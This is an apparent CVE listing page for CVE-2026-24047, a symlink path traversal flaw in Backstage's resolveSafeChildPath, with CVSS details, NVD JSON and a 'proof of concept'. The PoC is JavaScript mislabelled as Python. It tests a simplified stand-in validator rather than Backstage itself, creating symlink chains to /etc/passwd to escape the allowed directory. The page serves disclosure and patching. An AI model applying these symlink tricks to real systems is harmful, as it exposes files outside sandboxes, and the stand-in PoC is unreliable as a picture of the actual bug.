Security Vulnerability Report
中文
CVE-2026-24047 CVSS 6.3 MEDIUM

CVE-2026-24047

Published: 2026-01-21 23:15:53
Last Modified: 2026-04-15 00:35:42

Description

Backstage is an open framework for building developer portals, and @backstage/cli-common provides config loading functionality used by the backend and command line interface of Backstage. Prior to version 0.1.17, the `resolveSafeChildPath` utility function in `@backstage/backend-plugin-api`, which is used to prevent path traversal attacks, failed to properly validate symlink chains and dangling symlinks. An attacker could bypass the path validation via symlink chains (creating `link1 → link2 → /outside` where intermediate symlinks eventually resolve outside the allowed directory) and dangling symlinks (creating symlinks pointing to non-existent paths outside the base directory, which would later be created during file operations). This function is used by Scaffolder actions and other backend components to ensure file operations stay within designated directories. This vulnerability is fixed in `@backstage/backend-plugin-api` version 0.1.17. Users should upgrade to this version or later. Some workarounds are available. Run Backstage in a containerized environment with limited filesystem access and/or restrict template creation to trusted users.

CVSS Details

CVSS Score
6.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

@backstage/backend-plugin-api < 0.1.17
@backstage/cli-common (all versions prior to fix)
Backstage (affected components)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2026-24047 Proof of Concept - Symlink Path Traversal // Target: Backstage resolveSafeChildPath function const fs = require('fs'); const path = require('path'); // Simulating the vulnerable resolveSafeChildPath function function vulnerableResolveSafeChildPath(basePath, userInput) { // This implementation fails to check symlink chains properly const resolved = path.resolve(basePath, userInput); // Only checks if resolved path starts with basePath // Does NOT resolve intermediate symlinks if (!resolved.startsWith(basePath)) { throw new Error('Path traversal detected'); } return resolved; } // Attack scenario 1: Symlink chain function attackSymlinkChain() { const baseDir = '/app/workspace'; const attackDir = '/app/workspace/.attack'; // Create attack directory structure fs.mkdirSync(attackDir, { recursive: true }); // Create symlink chain: link1 -> link2 -> /etc fs.symlinkSync('/etc', path.join(attackDir, 'link1')); // First link fs.symlinkSync(path.join(attackDir, 'link1'), path.join(attackDir, 'link2')); // Chain try { // This should be blocked but bypasses validation const maliciousPath = vulnerableResolveSafeChildPath( baseDir, '.attack/link2/passwd' ); console.log('[+] Path traversal successful:', maliciousPath); return true; } catch (e) { console.log('[-] Attack blocked:', e.message); return false; } } // Attack scenario 2: Dangling symlink function attackDanglingSymlink() { const baseDir = '/app/workspace'; const attackDir = '/app/workspace/.attack'; fs.mkdirSync(attackDir, { recursive: true }); // Create dangling symlink pointing outside base directory fs.symlinkSync('/etc/passwd', path.join(attackDir, 'dangling')); try { const maliciousPath = vulnerableResolveSafeChildPath( baseDir, '.attack/dangling' ); console.log('[+] Dangling symlink bypass successful:', maliciousPath); return true; } catch (e) { console.log('[-] Attack blocked:', e.message); return false; } } // Execute PoC console.log('=== CVE-2026-24047 PoC ==='); attackSymlinkChain(); attackDanglingSymlink(); /* Fix: Use path.resolve with realpath or proper symlink resolution function fixedResolveSafeChildPath(basePath, userInput) { const baseReal = fs.realpathSync(basePath); // Resolve all symlinks const resolved = fs.realpathSync(path.join(basePath, userInput)); if (!resolved.startsWith(baseReal)) { throw new Error('Path traversal detected'); } return resolved; } */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24047", "sourceIdentifier": "[email protected]", "published": "2026-01-21T23:15:53.407", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Backstage is an open framework for building developer portals, and @backstage/cli-common provides config loading functionality used by the backend and command line interface of Backstage. Prior to version 0.1.17, the `resolveSafeChildPath` utility function in `@backstage/backend-plugin-api`, which is used to prevent path traversal attacks, failed to properly validate symlink chains and dangling symlinks. An attacker could bypass the path validation via symlink chains (creating `link1 → link2 → /outside` where intermediate symlinks eventually resolve outside the allowed directory) and dangling symlinks (creating symlinks pointing to non-existent paths outside the base directory, which would later be created during file operations). This function is used by Scaffolder actions and other backend components to ensure file operations stay within designated directories. This vulnerability is fixed in `@backstage/backend-plugin-api` version 0.1.17. Users should upgrade to this version or later. Some workarounds are available. Run Backstage in a containerized environment with limited filesystem access and/or restrict template creation to trusted users."}, {"lang": "es", "value": "Backstage es un framework abierto para construir portales de desarrollador, y @backstage/cli-common proporciona funcionalidad de carga de configuración utilizada por el backend y la interfaz de línea de comandos de Backstage. Antes de la versión 0.1.17, la función de utilidad 'resolveSafeChildPath' en '@backstage/backend-plugin-api', que se utiliza para prevenir ataques de salto de ruta, no validaba correctamente las cadenas de enlaces simbólicos y los enlaces simbólicos colgantes. Un atacante podría eludir la validación de ruta a través de cadenas de enlaces simbólicos (creando 'link1 ? link2 ? /outside' donde los enlaces simbólicos intermedios finalmente se resuelven fuera del directorio permitido) y enlaces simbólicos colgantes (creando enlaces simbólicos que apuntan a rutas inexistentes fuera del directorio base, que luego se crearían durante las operaciones de archivo). Esta función es utilizada por las acciones de Scaffolder y otros componentes de backend para asegurar que las operaciones de archivo permanezcan dentro de los directorios designados. Esta vulnerabilidad se corrige en '@backstage/backend-plugin-api' versión 0.1.17. Los usuarios deben actualizar a esta versión o posterior. Hay disponibles algunas soluciones alternativas. Ejecute Backstage en un entorno en contenedores con acceso limitado al sistema de archivos y/o restrinja la creación de plantillas a usuarios de confianza."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-61"}]}], "references": [{"url": "https://github.com/backstage/backstage/commit/ae4dd5d1572a4f639e1a466fd982656b50f8e692", "source": "[email protected]"}, {"url": "https://github.com/backstage/backstage/security/advisories/GHSA-2p49-45hj-7mc9", "source": "[email protected]"}]}}